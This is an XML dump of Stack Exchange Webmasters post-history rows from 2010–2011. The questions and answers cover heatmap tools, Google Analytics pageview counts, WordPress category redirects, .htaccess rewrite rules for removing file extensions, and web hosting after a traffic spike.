  <row Id="20452" PostHistoryTypeId="5" PostId="8697" RevisionGUID="ad354294-4a0b-4a3a-89fe-b901d15796c5" CreationDate="2011-02-17T16:46:47.690" UserId="1757" Comment="links should be links, not code blocks" Text="I'm looking for a heat map solution to track my users' behavior on my website, preferably free of charge. I've already googled a little bit and [here is what I found so far][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Still I would like to ask for some first hand experience, that'll help me make a better pick. Thanks for your help. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dailybloggr.com/2010/03/4-free-heatmap-tools-for-tracking-user-behaviour-on-a-site/" />
  <row Id="20453" PostHistoryTypeId="2" PostId="9296" RevisionGUID="e8239f80-fe97-4d80-9d8f-1378e0c12ed0" CreationDate="2011-02-17T17:07:20.127" UserId="1757" Text="Here's what I know of:&#xD;&#xA;&#xD;&#xA; - [Corunet Definitive Heatmap][1]&#xD;&#xA; - [Sec6][2]&#xD;&#xA; - [Mouseflow][3]&#xD;&#xA; - [Seevolution][4]&#xD;&#xA;&#xD;&#xA;But there are also heatmap generators you can use for manual usertesting.&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.corunet.com/the-definitive-heatmap/&#xD;&#xA;  [2]: http://www.sec6.net/&#xD;&#xA;  [3]: http://mouseflow.com/&#xD;&#xA;  [4]: http://www.seevolution.com/" />
  <row Id="20454" PostHistoryTypeId="25" PostId="9293" RevisionGUID="814eab7f-b509-451f-9da0-29ee23ccf1a6" CreationDate="2011-02-17T17:22:33.667" Comment="http://twitter.com/#!/StackWebmasters/status/38287196431724544" />
  <row Id="20455" PostHistoryTypeId="2" PostId="9297" RevisionGUID="8a8ec451-a3ec-4133-a1d2-1e2910a2f2ee" CreationDate="2011-02-17T18:14:49.237" UserId="1101" Text="Looking at the Content Detail for a single page in Google Analytics (e.g. /blog), it's reporting that the page has had 94 Pageviews and 86 Unique Views.&#xD;&#xA;&#xD;&#xA;When I look at the page entrance sources it shows 136 pageviews and 121 unique pageviews from 4 different domains. &#xD;&#xA;&#xD;&#xA;Why is the number of pageviews reported in the Entrances Sources larger than the number in the Content Detail?" />
  <row Id="20456" PostHistoryTypeId="1" PostId="9297" RevisionGUID="8a8ec451-a3ec-4133-a1d2-1e2910a2f2ee" CreationDate="2011-02-17T18:14:49.237" UserId="1101" Text="Google Analytics: Greater number of pageviews from entrance source than content details" />
  <row Id="20457" PostHistoryTypeId="3" PostId="9297" RevisionGUID="8a8ec451-a3ec-4133-a1d2-1e2910a2f2ee" CreationDate="2011-02-17T18:14:49.237" UserId="1101" Text="&lt;google&gt;&lt;analytics&gt;&lt;stats&gt;" />
  <row Id="20458" PostHistoryTypeId="6" PostId="9297" RevisionGUID="8b5667c7-5d74-40e2-9df3-e7fb58c6663a" CreationDate="2011-02-17T18:17:13.370" UserId="1253" Comment="Removed &quot;google analytics stats&quot; tags, added &quot;google-analytics&quot; tag" Text="&lt;google-analytics&gt;" />
  <row Id="20459" PostHistoryTypeId="2" PostId="9298" RevisionGUID="7648b599-70ae-461f-9f99-c69bd08488cf" CreationDate="2011-02-17T18:21:02.133" UserDisplayName="user5471" Text="Sorry to self promote but we at www.sharepointhosting.uk.com offer a shared 2010 hosted solution with the data kept in the UK - not something you will find easily!&#xD;&#xA;&#xD;&#xA;Prices start at £9per user per month (decreasing with volume).&#xD;&#xA;&#xD;&#xA;Feel free to enquire or email for more information" />
  <row Id="20460" PostHistoryTypeId="2" PostId="9299" RevisionGUID="4af4f9ba-9107-4b96-be1b-c94da283bf7b" CreationDate="2011-02-17T18:40:11.320" UserDisplayName="user5472" Text="I recently changed my Wordpress category structure a bit, changing some of the names and placing some under different parent categories. I don't use category name in my post URLs, so that's not a problem. But my category archive pages are indexed and have page rank I don't want to lose. So I need to redirect:  &quot;/category/old_cat_name&quot; to &quot;/category/new_cat_name&quot;. Or in some cases to /new_cat_name/new_sub_cat. I gather that I can't do this though the WP Redirection plugin and that I have to modify my .htaccess. Can someone show me what lines to add there--or is there another better way to do this? Thanks." />
  <row Id="20461" PostHistoryTypeId="1" PostId="9299" RevisionGUID="4af4f9ba-9107-4b96-be1b-c94da283bf7b" CreationDate="2011-02-17T18:40:11.320" UserDisplayName="user5472" Text="Need to redirect  Wordpress category archives" />
  <row Id="20462" PostHistoryTypeId="3" PostId="9299" RevisionGUID="4af4f9ba-9107-4b96-be1b-c94da283bf7b" CreationDate="2011-02-17T18:40:11.320" UserDisplayName="user5472" Text="&lt;wordpress&gt;&lt;redirects&gt;" />
  <row Id="20463" PostHistoryTypeId="2" PostId="9300" RevisionGUID="7fa8c6f1-d196-4002-86a8-19fe1417f86b" CreationDate="2011-02-17T19:01:13.423" UserId="1253" Text="You'll need to write a rule for each category so I hope you don't have a lot. But the basic syntax would be like this:&#xD;&#xA;&#xD;&#xA;    redirect 301 /category/old_cat_name_1 /category/new_cat_name&#xD;&#xA;    redirect 301 /category/old_cat_name_2 /new_cat_name/new_sub_cat" />
  <row Id="20464" PostHistoryTypeId="25" PostId="9299" RevisionGUID="f55e29fa-7b03-48e2-bb0c-925df8aeb5e9" CreationDate="2011-02-17T20:22:35.173" Comment="http://twitter.com/#!/StackWebmasters/status/38332501583859712" />
  <row Id="20465" PostHistoryTypeId="25" PostId="9273" RevisionGUID="e6ea1e39-001b-4143-b9de-0a28814d04fb" CreationDate="2011-02-17T23:22:35.650" Comment="http://twitter.com/#!/StackWebmasters/status/38377802700951552" />
  <row Id="20466" PostHistoryTypeId="25" PostId="9291" RevisionGUID="9ab64f93-b5b7-4cec-8dbe-be70fffaba0a" CreationDate="2011-02-18T02:22:35.557" Comment="http://twitter.com/#!/StackWebmasters/status/38423099988779008" />
  <row Id="20467" PostHistoryTypeId="2" PostId="9301" RevisionGUID="29610286-3316-49ee-bdf2-44e07261dcb0" CreationDate="2011-02-18T02:47:30.893" UserId="5371" Text="The Entrance Sources report is showing you the number of Pageviews generated by each source for all visits that started on that page.&#xD;&#xA;&#xD;&#xA;e.g, if you received an entrance from abc.com to your landing page and the visitor then viewed 5 more pages on your site, the pageviews for abc.com would be 6 (1 for the original entrance and 1 more for each subsequent page viewed)." />
  <row Id="20468" PostHistoryTypeId="2" PostId="9302" RevisionGUID="2fd56b5d-f56b-4e80-8d50-c34addb3d074" CreationDate="2011-02-18T02:56:06.793" UserDisplayName="user5477" Text="My website google search entry is messed up. In the preview in google search results, I get things like cracks, serials, random ip addresses. I scanned all files and my computer for viruses and malware and could not find anything. I also tried to download and reupload all content from a friend's computer and still that content. I also scanned the source code of all files, but the content does not appear in any file. Google also does not detect any malware on the website, as seen in their webmaster tools. &#xD;&#xA;&#xD;&#xA;I have searched using the same keywords in other search engines such as bing and yahoo and the search results there are fine. &#xD;&#xA;&#xD;&#xA;I am quite clueless as to what the causes would be for this and what would be a possible remedy.  " />
  <row Id="20469" PostHistoryTypeId="1" PostId="9302" RevisionGUID="2fd56b5d-f56b-4e80-8d50-c34addb3d074" CreationDate="2011-02-18T02:56:06.793" UserDisplayName="user5477" Text="Google search preview shows content not on the website" />
  <row Id="20470" PostHistoryTypeId="3" PostId="9302" RevisionGUID="2fd56b5d-f56b-4e80-8d50-c34addb3d074" CreationDate="2011-02-18T02:56:06.793" UserDisplayName="user5477" Text="&lt;google-search&gt;" />
  <row Id="20471" PostHistoryTypeId="2" PostId="9303" RevisionGUID="60f07fdf-2b67-4c74-a0f5-4e0a4bd23285" CreationDate="2011-02-18T03:01:06.303" UserId="2044" Text="I am using google analytics for tracking the visitors on my website. I can view all the stat reports from my google login.&#xD;&#xA;&#xD;&#xA;I am wondering if i could place the visitor summary stat in my home page of my website.&#xD;&#xA;&#xD;&#xA;Can i show the reports of google analytics on my site's home page?" />
  <row Id="20472" PostHistoryTypeId="1" PostId="9303" RevisionGUID="60f07fdf-2b67-4c74-a0f5-4e0a4bd23285" CreationDate="2011-02-18T03:01:06.303" UserId="2044" Text="How do i show visitor count in my page?" />
  <row Id="20473" PostHistoryTypeId="3" PostId="9303" RevisionGUID="60f07fdf-2b67-4c74-a0f5-4e0a4bd23285" CreationDate="2011-02-18T03:01:06.303" UserId="2044" Text="&lt;google-analytics&gt;&lt;statistics&gt;&lt;visitors&gt;&lt;landing-page&gt;" />
  <row Id="20474" PostHistoryTypeId="2" PostId="9304" RevisionGUID="8d44e757-1149-4ae4-a6b5-99075c2bebb1" CreationDate="2011-02-18T03:26:25.133" UserId="1757" Text="There's probably a way to do it yourself, but here's a service that will do it for you: http://sharega.com/learnhow.html" />
  <row Id="20475" PostHistoryTypeId="5" PostId="9299" RevisionGUID="d51a188d-9425-4ecb-858e-198ad2513ae7" CreationDate="2011-02-18T03:42:54.073" UserId="5117" Comment="Reformatted " Text="I recently changed my Wordpress category structure a bit, changing some of the names and placing some under different parent categories. &#xD;&#xA;&#xD;&#xA;I don't use category name in my post URLs, so that's not a problem. But my category archive pages are indexed and have page rank I don't want to lose. &#xD;&#xA;&#xD;&#xA;So I need to redirect:  &quot;/category/old_cat_name&quot; to &quot;/category/new_cat_name&quot;.  &#xD;&#xA;Or in some cases to /new_cat_name/new_sub_cat. I gather that I can't do this though the WP Redirection plugin and that I have to modify my .htaccess.&#xD;&#xA;&#xD;&#xA;Can someone show me what lines to add there--or is there another better way to do this? Thanks." />
  <row Id="20476" PostHistoryTypeId="24" PostId="9299" RevisionGUID="d6b5c03f-0ac7-4b62-8264-a714cc0db095" CreationDate="2011-02-18T03:42:54.073" Comment="Proposed by 5117 approved by 138 edit id of 20" />
  <row Id="20477" PostHistoryTypeId="17" PostId="9306" RevisionGUID="863c1b40-e02e-47cd-9c7c-e3cce86faf6b" CreationDate="2011-02-18T03:45:18.050" UserId="-1" Comment="from http://serverfault.com/questions/120648/adsense-image-ads-only-unit-is-displaying-image-and-text-ads/120652#120652" Text="" />
  <row Id="20478" PostHistoryTypeId="2" PostId="9306" RevisionGUID="ae0a88e7-5dfc-4f8b-adff-4a46a9213b85" CreationDate="2010-03-09T09:04:50.393" UserDisplayName="Niro" Text="Google use many servers and it takes time for the changes in settings to propogate. Please wait at least 24 hours and see if it stays this way." />
  <row Id="20479" PostHistoryTypeId="2" PostId="9305" RevisionGUID="9e957fb3-ec83-46e5-8865-ccb1a3cfbc03" CreationDate="2010-03-09T08:47:42.643" UserDisplayName="April" Text="Adsense 'image ads only' unit displaying image and text ads on my website. I have double checked to make sure that the adsense unit format is set to 'image ads only'.&#xD;&#xA;&#xD;&#xA;Have anyone else has experienced this and how did you resolve this issue?&#xD;&#xA;&#xD;&#xA;Thanks for help. " />
  <row Id="20480" PostHistoryTypeId="1" PostId="9305" RevisionGUID="9e957fb3-ec83-46e5-8865-ccb1a3cfbc03" CreationDate="2010-03-09T08:47:42.643" UserDisplayName="April" Text="Adsense image ads only unit is displaying image and text ads" />
  <row Id="20481" PostHistoryTypeId="3" PostId="9305" RevisionGUID="9e957fb3-ec83-46e5-8865-ccb1a3cfbc03" CreationDate="2010-03-09T08:47:42.643" UserDisplayName="April" Text="&lt;google-adsense&gt;" />
  <row Id="20482" PostHistoryTypeId="17" PostId="9305" RevisionGUID="90546823-1ac0-48ba-b820-9c5651a67e26" CreationDate="2011-02-18T03:45:18.050" UserId="-1" Comment="from http://serverfault.com/questions/120648/adsense-image-ads-only-unit-is-displaying-image-and-text-ads" Text="" />
  <row Id="20483" PostHistoryTypeId="2" PostId="9307" RevisionGUID="cb8fc4f4-01ef-415d-9deb-7a36be27d012" CreationDate="2011-02-18T03:48:12.533" UserId="4793" Text="A non-turnkey solution is a basic CMS mixed with FoxyCart. If your needs are modest, and you are offering basic options, FoxyCart is simply awesome and can integrate into any site with just a little HTML/CSS setup. &#xD;&#xA;&#xD;&#xA;http://www.foxycart.com&#xD;&#xA;&#xD;&#xA;I use it with TextPattern." />
  <row Id="20484" PostHistoryTypeId="5" PostId="9302" RevisionGUID="7da41c03-d452-41cc-895e-caa3d6a8884d" CreationDate="2011-02-18T04:00:33.577" UserDisplayName="user5477" Comment="added 9 characters in body" Text="My website google search entry is messed up. In the preview in google search results, I get things like cracks, serials, random ip addresses. I scanned all files and my computer for viruses and malware and could not find anything. I also tried to download and reupload all content from a friend's computer and still that content persists. I also scanned the source code of all files, but the content does not appear in any file. Google also does not detect any malware on the website, as seen in their webmaster tools. &#xD;&#xA;&#xD;&#xA;I have searched using the same keywords in other search engines such as bing and yahoo and the search results there are fine. &#xD;&#xA;&#xD;&#xA;I am quite clueless as to what the causes would be for this and what would be a possible remedy.  " />
  <row Id="20485" PostHistoryTypeId="2" PostId="9308" RevisionGUID="7c3e71f6-0553-4f1d-893e-a82d2a6ad71e" CreationDate="2011-02-18T04:31:41.263" UserId="5478" Text="I am maintaining a website that contains mostly simple html (just a little php). Normally the site receives only 4000 hits per month, but it was recently slashdotted by the New York Times (&gt;30,000 visitors and 30 GB in a day) and the web host provider (bluehost) throttled the CPU in response. This slowed down the website considerably. What web host providers would offer a more scalable solution? Ideally I would like a high-quality host that charges by the GB and can handle bandwidth to expand during sudden slashdotting episodes without a reduction in performance. " />
  <row Id="20486" PostHistoryTypeId="1" PostId="9308" RevisionGUID="7c3e71f6-0553-4f1d-893e-a82d2a6ad71e" CreationDate="2011-02-18T04:31:41.263" UserId="5478" Text="Slashdotted web site seeks new home" />
  <row Id="20487" PostHistoryTypeId="3" PostId="9308" RevisionGUID="7c3e71f6-0553-4f1d-893e-a82d2a6ad71e" CreationDate="2011-02-18T04:31:41.263" UserId="5478" Text="&lt;web-hosting&gt;&lt;web&gt;&lt;scalability&gt;" />
  <row Id="20488" PostHistoryTypeId="25" PostId="9302" RevisionGUID="afb45945-973c-4411-bea5-4103d50d9bab" CreationDate="2011-02-18T05:22:35.440" Comment="http://twitter.com/#!/StackWebmasters/status/38468398446813184" />
  <row Id="20489" PostHistoryTypeId="2" PostId="9309" RevisionGUID="b5fc4b79-4c7a-4ddc-a56d-a5c1a218792d" CreationDate="2011-02-18T07:37:56.257" UserId="2044" Text="I have been searching for image hosting website that displays images of a user in a nice and managed way.&#xD;&#xA;&#xD;&#xA;I want to upload the files to that image hosting website in my account of that website from a page in my website. &#xD;&#xA;&#xD;&#xA;i.e if i have a website abc.com then user browse my website abc.com. Uploads the file to my website. Now I want to transfer the uploaded file to the image hosting website so that it can be viewed by other users of that hosting website and get better visibility to world" />
  <row Id="20490" PostHistoryTypeId="1" PostId="9309" RevisionGUID="b5fc4b79-4c7a-4ddc-a56d-a5c1a218792d" CreationDate="2011-02-18T07:37:56.257" UserId="2044" Text="Which image sharing websites supports file uploading dynamically via api" />
  <row Id="20491" PostHistoryTypeId="3" PostId="9309" RevisionGUID="b5fc4b79-4c7a-4ddc-a56d-a5c1a218792d" CreationDate="2011-02-18T07:37:56.257" UserId="2044" Text="&lt;web-hosting&gt;&lt;dynamic&gt;&lt;uploading&gt;&lt;image-editing&gt;" />
  <row Id="20492" PostHistoryTypeId="25" PostId="9308" RevisionGUID="a1f57bc8-9d27-461e-86c2-53b6c546deea" CreationDate="2011-02-18T08:22:36.217" Comment="http://twitter.com/#!/StackWebmasters/status/38513700528726016" />
  <row Id="20493" PostHistoryTypeId="2" PostId="9310" RevisionGUID="d3dd2bd5-a629-4fbc-a64b-1b9c579921f6" CreationDate="2011-02-18T08:43:51.937" UserId="5464" Text="I am not sure on the the causes although @MrG has a good point. With regard to the remedy assuming the issue does not return the next time Google crawls your site it should pick up the changes and update the preview image you could try re-submitting your XML sitemap if you have one to give Google a nudge. " />
  <row Id="20494" PostHistoryTypeId="2" PostId="9311" RevisionGUID="8bdf8c9f-37c8-459e-a790-efabee91e21d" CreationDate="2011-02-18T09:17:53.900" UserId="5481" Text="If u search in goolge by keywords &quot;cyprus hotels&quot; the first in results are www.cyprushotels.com/ with rank 2 and links to this site 2 and second place www.cyprus-hotels.com/ with rank 5 and milions link to that site. Why is like that?" />
  <row Id="20495" PostHistoryTypeId="1" PostId="9311" RevisionGUID="8bdf8c9f-37c8-459e-a790-efabee91e21d" CreationDate="2011-02-18T09:17:53.900" UserId="5481" Text="How to understand google search results?" />
  <row Id="20496" PostHistoryTypeId="3" PostId="9311" RevisionGUID="8bdf8c9f-37c8-459e-a790-efabee91e21d" CreationDate="2011-02-18T09:17:53.900" UserId="5481" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="20497" PostHistoryTypeId="17" PostId="9313" RevisionGUID="461a7007-1194-40cc-8a75-1189bb70f107" CreationDate="2011-02-18T09:24:27.713" UserId="-1" Comment="from http://serverfault.com/questions/124057/how-to-remove-extensions-from-and-force-the-trailing-slash-at-the-end-of-urls/124096#124096" Text="" />
  <row Id="20498" PostHistoryTypeId="17" PostId="9314" RevisionGUID="fd6916d7-07f3-4ca6-8bce-b09b89b98b5e" CreationDate="2011-02-18T09:24:27.713" UserId="-1" Comment="from http://serverfault.com/questions/124057/how-to-remove-extensions-from-and-force-the-trailing-slash-at-the-end-of-urls/124100#124100" Text="" />
  <row Id="20499" PostHistoryTypeId="17" PostId="9315" RevisionGUID="1aa14e5b-e611-4df8-9f70-b5ec7a27bac9" CreationDate="2011-02-18T09:24:27.713" UserId="-1" Comment="from http://serverfault.com/questions/124057/how-to-remove-extensions-from-and-force-the-trailing-slash-at-the-end-of-urls/124116#124116" Text="" />
  <row Id="20500" PostHistoryTypeId="17" PostId="9316" RevisionGUID="b32bc8c1-2854-47fd-aef4-29d9649aaeb8" CreationDate="2011-02-18T09:24:27.713" UserId="-1" Comment="from http://serverfault.com/questions/124057/how-to-remove-extensions-from-and-force-the-trailing-slash-at-the-end-of-urls/124124#124124" Text="" />
  <row Id="20501" PostHistoryTypeId="17" PostId="9317" RevisionGUID="bd3b8bdd-1c90-448b-be0b-424def0adc34" CreationDate="2011-02-18T09:24:27.713" UserId="-1" Comment="from http://serverfault.com/questions/124057/how-to-remove-extensions-from-and-force-the-trailing-slash-at-the-end-of-urls/237124#237124" Text="" />
  <row Id="20502" PostHistoryTypeId="2" PostId="9313" RevisionGUID="f9ae3096-3687-4376-89bb-14cd2aa7ee34" CreationDate="2010-03-19T01:39:52.800" UserId="138" Text="If you're know the exact format of each URL that you need, then it's pretty straight forward. If you don't know which extension you need to match though, well, then I'm fairly sure that's impossible.&#xD;&#xA;&#xD;&#xA;For example, if you KNOW that you have `foo.html` and `bar.php` - and that `/foo/` needs to match foo.html and you KNOW that `/bar`/ needs to match `/bar.php`, then that can be done. But, if someone uploads `/cat.php` and someone enters `/cat/` - the system will not know whether it needs to match `/cat.html` or `/cat.php` - you need to tell it. If you were just dealing with one extension, that wouldn't be so bad, you could just tack it onto every request.&#xD;&#xA;&#xD;&#xA;To rewrite `/foo/` to `/foo.html` then you would do:&#xD;&#xA;&#xD;&#xA;`RewriteRule (/foo/) /foo.html`&#xD;&#xA;&#xD;&#xA;Easy&#xD;&#xA;&#xD;&#xA;If you want to match every request to a SINGLE extension, then you could do:&#xD;&#xA;&#xD;&#xA;`RewriteRule (/foo/)(.*)(/) /foo/$2.html`&#xD;&#xA;&#xD;&#xA;This will map `/foo/mypage/` to `/foo/mypage.html` (and you can expand this to multi-level directory using some RegEx-fu that is above my pay grade).&#xD;&#xA;&#xD;&#xA;Now, I don't actually know that that's what you're asking for, so please comment on my answer, or update your question, if these rules are not going to work for you.&#xD;&#xA;&#xD;&#xA;-- Edit --&#xD;&#xA;&#xD;&#xA;Just noticed your response to my comment above. There is no way you can do what you want to do with .htaccess, because .htaccess does not have the ability to check to see if a particular file requests exists. How will it know that `/foo/` is meant to be `/foo.html` or `/foo.php` or `/foo.cgi`? Your only way around it will be to:&#xD;&#xA;&#xD;&#xA;1) Funnel EVERY request through a single.php file that then has the ability to know/check to see if the .php or .html or .cgi version of the file exists, and then forwards your request that way&#xD;&#xA;&#xD;&#xA;2) Create a .htaccess file that contains an entry for every single unique file" />
  <row Id="20503" PostHistoryTypeId="2" PostId="9314" RevisionGUID="1639882e-cc5b-4340-92de-0be493ad5b90" CreationDate="2010-03-19T02:07:52.507" UserId="9673" UserDisplayName="erjiang" Text="So I wrote a set of Rewrite rules that did what you wanted, but it completely broke my website. I realized that what you want is probably not what you need. Adding trailing slashes to the end of all URLs really messes with the semantics of the URL in that you're no longer accessing the file `/foo` but the content listing of the directory `/foo/`.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;changing `/mypage` to `/mypage/` will probably **break** any relative links.  If you reference a Javascript file `&lt;script src=&quot;myscript.js&quot;&gt;`, instead of looking for `/myscript.js`, the browser will look for `/mypage/myscript.js`.  You would need to change your source to read `&lt;script src=&quot;../myscript.js&quot;&gt;` which 1) doesn't make sense to the author, and 2) looks uglier than not having trailing slashes.&#xD;&#xA;&#xD;&#xA;For reference:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_FILE}\.html -f&#xD;&#xA;    RewriteRule (.*)$ $1.html [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILE}\.php -f&#xD;&#xA;    RewriteRule (.*)$ $1.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILE}\.cgi -f&#xD;&#xA;    RewriteRule (.*)$ $1.cgi [L]&#xD;&#xA;&#xD;&#xA;would change *only* php, cgi, and html extensions, but a better idea would be to use Apache2 content negotiation (with MultiViews).&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;The original code.  Or at least part of it.  I broke it, and then cut it down to the above, and now I can't quite remember what I did.  But it does everything except remove trailing extensions.&#xD;&#xA;&#xD;&#xA;    # This block adds the trailing slash&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteCond /your/web/directory%{REQUEST_URI}\.html -f [OR]&#xD;&#xA;    RewriteCond /your/web/directory%{REQUEST_URI}\.php -f [OR]&#xD;&#xA;    RewriteCond /your/web/directory%{REQUEST_URI}\.cgi -f&#xD;&#xA;    RewriteRule .* %{REQUEST_URI}/ [R=301,L]&#xD;&#xA;    &#xD;&#xA;    # These blocks redirect /foo/ to /foo.html and so on&#xD;&#xA;    RewriteCond %{REQUEST_URI} (.*)/$&#xD;&#xA;    RewriteCond /your/web/directory%1\.html -f&#xD;&#xA;    RewriteRule (.*)/$ $1.html [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_URI} (.*)/$&#xD;&#xA;    RewriteCond /your/web/directory%1\.php -f&#xD;&#xA;    RewriteRule (.*)/$ $1.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_URI} (.*)/$&#xD;&#xA;    RewriteCond /your/web/directory%1\.cgi -f&#xD;&#xA;    RewriteRule (.*)/$ $1.cgi [L]&#xD;&#xA;&#xD;&#xA;You can email me at mazin (at) aztekera.com if you'd like." />
  <row Id="20504" PostHistoryTypeId="2" PostId="9315" RevisionGUID="8ac3d773-a430-4c15-aa7f-76acd6fd92de" CreationDate="2010-03-19T03:30:22.980" UserDisplayName="Chris Thorpe" Text="Sounds like you're trying to do something similar to a REST-compliant URL implementation.&#xD;&#xA;&#xD;&#xA;I've seen this covered before on SO, here:&#xD;&#xA;http://stackoverflow.com/questions/395650/url-mapping-in-php&#xD;&#xA;&#xD;&#xA;You may be able to adapt the 2 top solutions there to your needs." />
  <row Id="20505" PostHistoryTypeId="2" PostId="9316" RevisionGUID="5efe54a7-5764-4edb-acad-b7ff4ef952e0" CreationDate="2010-03-19T03:52:43.907" UserDisplayName="Kronbernkzion" Text="Mazin, thank you so much for your help and for showing me the right direction! The code below works for removing .html, .php and .cgi extensions as well as for forcing trailing slashes to the end of URLs. The final working code looks like this:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_URI} (.*)/$&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME}\.html -f&#xD;&#xA;    RewriteRule (.*)/$ $1.html [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_URI} (.*)/$&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME}\.php -f&#xD;&#xA;    RewriteRule (.*)/$ $1.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_URI} (.*)/$&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME}\.cgi -f&#xD;&#xA;    RewriteRule (.*)/$ $1.cgi [L]&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME}\.html -f [OR]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME}\.php -f [OR]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME}\.cgi -f&#xD;&#xA;    RewriteRule .* %{REQUEST_FILENAME}/ [R=301,L]&#xD;&#xA;&#xD;&#xA;I am extremely happy with the way this turned out.&#xD;&#xA;&#xD;&#xA;I've sent one $50 iTunes gift card to Mazin as a big **thanks** for helping out." />
  <row Id="20506" PostHistoryTypeId="2" PostId="9317" RevisionGUID="6f6e473d-c8d1-43de-8a9e-9665f55a9dc1" CreationDate="2011-02-18T05:48:26.237" UserDisplayName="Markus" Text="Found a one that worked for me, Imported my Blogger posts to my Wordpress, and then my back links didn't work, so I just replaced my .htaccess with this example, check it out!&#xD;&#xA;&#xD;&#xA;http://www.high-on-it.co.za/2011/02/removing-trailing-html-from-url/" />
  <row Id="20507" PostHistoryTypeId="2" PostId="9312" RevisionGUID="b756dc9a-5287-4f71-9959-7b575990b564" CreationDate="2010-03-18T23:06:18.093" UserDisplayName="Kronbernkzion" Text="Example of current file structure:&#xD;&#xA;&#xD;&#xA;*example.com/foo.php  &#xD;&#xA;example.com/bar.html  &#xD;&#xA;example.com/directory/  &#xD;&#xA;example.com/directory/foo.php  &#xD;&#xA;example.com/directory/bar.html  &#xD;&#xA;example.com/cgi-bin/directory/foo.cgi*  &#xD;&#xA;&#xD;&#xA;I would like to remove HTML, PHP and CGI extensions from, and then force the trailing slash at the end of URLs. So, it could look like this:&#xD;&#xA;&#xD;&#xA;*example.com/foo/  &#xD;&#xA;example.com/bar/  &#xD;&#xA;example.com/directory/  &#xD;&#xA;example.com/directory/foo/  &#xD;&#xA;example.com/directory/bar/  &#xD;&#xA;example.com/cgi-bin/directory/foo/*  &#xD;&#xA;&#xD;&#xA;I am very frustrated because I've searched for 17 hours straight for solution and visited more than a few hundred pages on various blogs and forums. I'm not joking. So I think I've done my research.&#xD;&#xA;&#xD;&#xA;Here is the code that sits in my .htaccess file right now:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME}\.html -f&#xD;&#xA;    RewriteRule ^(([^/]+/)*[^./]+)/$ $1.html&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteCond %{REQUEST_URI} !(\.[a-zA-Z0-9]|/)$&#xD;&#xA;    RewriteRule (.*)$ /$1/ [R=301,L]&#xD;&#xA;&#xD;&#xA;As you can see, this code only removes .html (and I'm not very happy with it because I think it could be done a lot simpler). I can remove the extension from PHP files when I rename them to .html through .htaccess, but that's not what I want. I want to remove it straight. This is the first thing I don't know how to do.&#xD;&#xA;&#xD;&#xA;The second thing is actually very annoying. My .htaccess file with code above, adds `.html/` to every string entered after `example.com/directory/foo/`. So if I enter `example.com/directory/foo/bar` (obviously `/bar` doesn't exist since `foo` is a file), instead of just displaying message that page is not found, it converts it to `example.com/directory/foo/bar.html/`, then searches for a file for a few seconds and then displays the not found message. This, of course, is bad behavior.&#xD;&#xA;&#xD;&#xA;So, once again, I need the code in .htaccess to do the following things:&#xD;&#xA;&#xD;&#xA;- **Remove .html extension**&#xD;&#xA;- **Remove .php extension**&#xD;&#xA;- **Remove .cgi extension**&#xD;&#xA;- **Force the trailing slash at the end of URLs**&#xD;&#xA;- **Requests should behave correctly (no adding trailing slashes or extensions to strings if file or directory doesn't exist on server)**&#xD;&#xA;- **Code should be as simple as possible**&#xD;&#xA;&#xD;&#xA;I would very much appreciate any help. And to first person that gives me the solution, I'll send two $50 iTunes Store gift cards for US store. If this offends anyone, I am truly sorry and I apologize. &#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="20508" PostHistoryTypeId="1" PostId="9312" RevisionGUID="b756dc9a-5287-4f71-9959-7b575990b564" CreationDate="2010-03-18T23:06:18.093" UserDisplayName="Kronbernkzion" Text="How to Remove Extensions From, and Force the Trailing Slash at the End of URLs?" />
  <row Id="20509" PostHistoryTypeId="3" PostId="9312" RevisionGUID="b756dc9a-5287-4f71-9959-7b575990b564" CreationDate="2010-03-18T23:06:18.093" UserDisplayName="Kronbernkzion" Text="&lt;mod-rewrite&gt;&lt;htaccess&gt;&lt;url-rewriting&gt;" />
  <row Id="20510" PostHistoryTypeId="17" PostId="9312" RevisionGUID="2ba5c865-975c-41e8-ac86-ab4aa3393565" CreationDate="2011-02-18T09:24:27.713" UserId="-1" Comment="from http://serverfault.com/questions/124057/how-to-remove-extensions-from-and-force-the-trailing-slash-at-the-end-of-urls" Text="" />
